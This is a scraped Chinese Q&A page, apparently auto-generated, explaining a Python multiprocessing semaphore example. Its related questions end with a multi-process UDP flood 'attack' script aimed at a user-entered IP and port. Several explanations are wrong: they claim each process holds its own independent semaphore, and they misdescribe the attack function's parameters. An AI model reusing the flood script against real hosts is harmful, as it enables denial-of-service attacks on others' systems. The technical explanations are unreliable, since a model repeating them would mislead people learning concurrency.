import multiprocessing import datetime import time def worker(semaphore, count): semaphore.acquire() now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') try: print(f"{now}: Work {count} is working...") finally: time.sleep(10) semaphore.release() if __name__ == '__main__': # 指定信号量为3 semaphores = multiprocessing.Semaphore(3) workers = [] for i in range(10): worker_process = multiprocessing.Process(target=worker, args=(semaphores, i)) # 获取当前剩余的信号量 print(f"剩余信号量:{semaphores.value}") workers.append(worker_process) worker_process.start()
时间: 2024-04-24 14:22:39 浏览: 7
这段代码是一个使用`multiprocessing.Semaphore`实现进程间同步的示例。首先,我们定义了一个`worker`函数,其中`semaphore`参数是一个`multiprocessing.Semaphore`对象,用于控制并发访问的数量。在`worker`函数中,我们首先调用`semaphore.acquire()`方法获取一个信号量,表示当前进程需要占用一个资源。然后,我们打印当前进程的工作编号和时间,并在`finally`块中释放信号量,表示当前进程已经完成了任务,可以让其他进程获取资源。在释放信号量之前,我们使用`time.sleep(10)`模拟当前进程正在处理任务的过程。
在`if __name__ == '__main__':`块中,我们首先定义了一个初始值为3的信号量对象`semaphores`,表示最多只能有3个进程同时访问共享资源。然后,我们创建10个进程,每个进程都调用`worker`函数,并传入`semaphores`作为参数。在创建进程之前,我们使用`semaphores.value`获取当前剩余的信号量数量,并打印出来,以便观察。最后,我们启动所有进程,让它们并发执行。
需要注意的是,由于`multiprocessing.Semaphore`是进程间同步的机制,因此在`if __name__ == '__main__':`块中创建的`semaphores`对象和`worker`函数中传入的`semaphores`对象并不是同一个对象,而是通过进程间通信实现的。
相关问题
import multiprocessing import datetime import time def worker(semaphore, count): semaphore.acquire() now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') try: print(f"{now}: Work {count} is working... 剩余信号量:{semaphore.get_value()}") finally: time.sleep(10) semaphore.release() if name == 'main': # 指定信号量为3 semaphores = multiprocessing.Semaphore(3) workers = [] for i in range(10): worker_process = multiprocessing.Process(target=worker, args=(semaphores, i)) workers.append(worker_process) worker_process.start() 此段代码,为什么输出3次之后信号量都是0
这是因为在多进程中,每个进程拥有自己独立的内存空间,所以每个进程都会创建一个自己的Semaphore对象。在这段代码中,你创建了10个进程,每个进程都会调用worker函数,并且每个进程都会独立地获取和释放信号量。因此,当有3个进程同时获取了信号量之后,剩余的信号量数量就变成了0,其他进程就无法再获取信号量了。
如果你想让10个进程共享同一个Semaphore对象,可以使用multiprocessing.Manager来创建一个共享对象。例如,可以这样修改代码:
```
import multiprocessing
import datetime
import time
def worker(semaphore, count):
with semaphore:
now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
try:
print(f"{now}: Work {count} is working... 剩余信号量:{semaphore.get_value()}")
finally:
time.sleep(10)
if __name__ == '__main__':
# 创建共享Semaphore对象
manager = multiprocessing.Manager()
semaphores = manager.Semaphore(3)
workers = []
for i in range(10):
worker_process = multiprocessing.Process(target=worker, args=(semaphores, i))
workers.append(worker_process)
worker_process.start()
```
这样就可以让10个进程共享同一个Semaphore对象了。
def attack(P_num,ip,port): import sys import os import time import socket import random # Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sent=0 while True: sock.sendto(bytes, (ip, port)) sent = sent + 1 port = port + 1 print("%s Proccess Sent %s packet to %s throught port:%s" % (P_num,sent, ip, port)) if port == 65534: port = 1 if __name__ == '__main__': import os from multiprocessing import Process ip = input("IP Target : ") port = int(input("Port : ")) num=input("并行数 :") list=[] for i in range(int(num)): p=Process(target=attack,args=(i,ip,port)) list.append(p) for i in list: i.start() for i in list: i.join()
这是一个Python函数,用于进行攻击。它的参数是"P_num","ip"和"port"。其中,"P_num"表示攻击使用的进程数,"ip"表示目标IP地址,"port"表示目标端口号。
在函数中,导入了一些必要的Python库,包括"sys"、"os"、"time"和"socket"等。同时,还导入了"random"库,用于生成随机数。
该函数的具体实现需要看更多代码。